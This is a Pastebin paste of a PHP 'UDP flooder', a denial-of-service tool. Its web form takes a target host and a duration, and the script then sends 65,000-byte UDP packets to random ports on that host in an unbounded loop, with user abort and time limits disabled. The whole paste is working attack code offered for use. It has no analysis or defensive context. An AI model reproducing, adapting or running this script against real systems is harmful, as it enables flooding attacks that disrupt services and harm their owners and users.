Advertisement
Guest User

PHP UDP FLooder

a guest
Aug 1st, 2012
5,333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.83 KB | None | 0 0
  1. <html>
  2. <head>
  3. DoS
  4. </head>
  5. <body>
  6. <center>
  7. <font color="00FF00">
  8. <pre>
  9. __ _    _ _
  10. / ____| |  | | |
  11. (___ | |__   ___| | |
  12. \___ \| '_ \ / _ \ | |
  13. __ _) | | | |  __/ | |
  14. __/|_| |_|\___|_|_|
  15. </pre>
  16. <STYLE>
  17. input{
  18. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  19. }
  20. button{
  21. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  22. }
  23. body {
  24. background-color: black;
  25. }
  26. </style>
  27. <?php
  28.  
  29.  
  30.  
  31.  
  32. //UDP
  33. if(isset($_GET['host'])&&isset($_GET['time'])){
  34.     $packets = 0;
  35.     ignore_user_abort(TRUE);
  36.     set_time_limit(0);
  37.  
  38.     $exec_time = $_GET['time'];
  39.  
  40.     $time = time();
  41.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  42.     $max_time = $time+$exec_time;
  43.  
  44.     $host = $_GET['host'];
  45.  
  46.     for($i=0;$i<65000;$i++){
  47.     $out .= 'X';
  48.     }
  49.     while(1){
  50.     $packets++;
  51.     if(time() > $max_time){
  52.     break;
  53.     }
  54.     $rand = rand(1,65000);
  55.     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  56.     if($fp){
  57.     fwrite($fp, $out);
  58.     fclose($fp);
  59.     }
  60.     }
  61.     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  62.     echo '<br><br>
  63.  <form action="'.$surl.'" method=GET>
  64.  <input type="hidden" name="act" value="phptools">
  65.  Host: <br><input type=text name=host><br>
  66.  Length (seconds): <br><input type=text name=time><br>
  67.  <input type=submit value=Go></form>';
  68. }else{ echo '<br><b>UDP Flood</b><br>
  69.    <form action=? method=GET>
  70.    <input type="hidden" name="act" value="phptools">
  71.    Host: <br><input type=text name=host value=><br>
  72.    Length (seconds): <br><input type=text name=time value=><br><br>
  73.    <input type=submit value=Go></form>';
  74. }
  75.  
  76.  
  77. ?>
  78. </center>
  79. </body>
  80. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement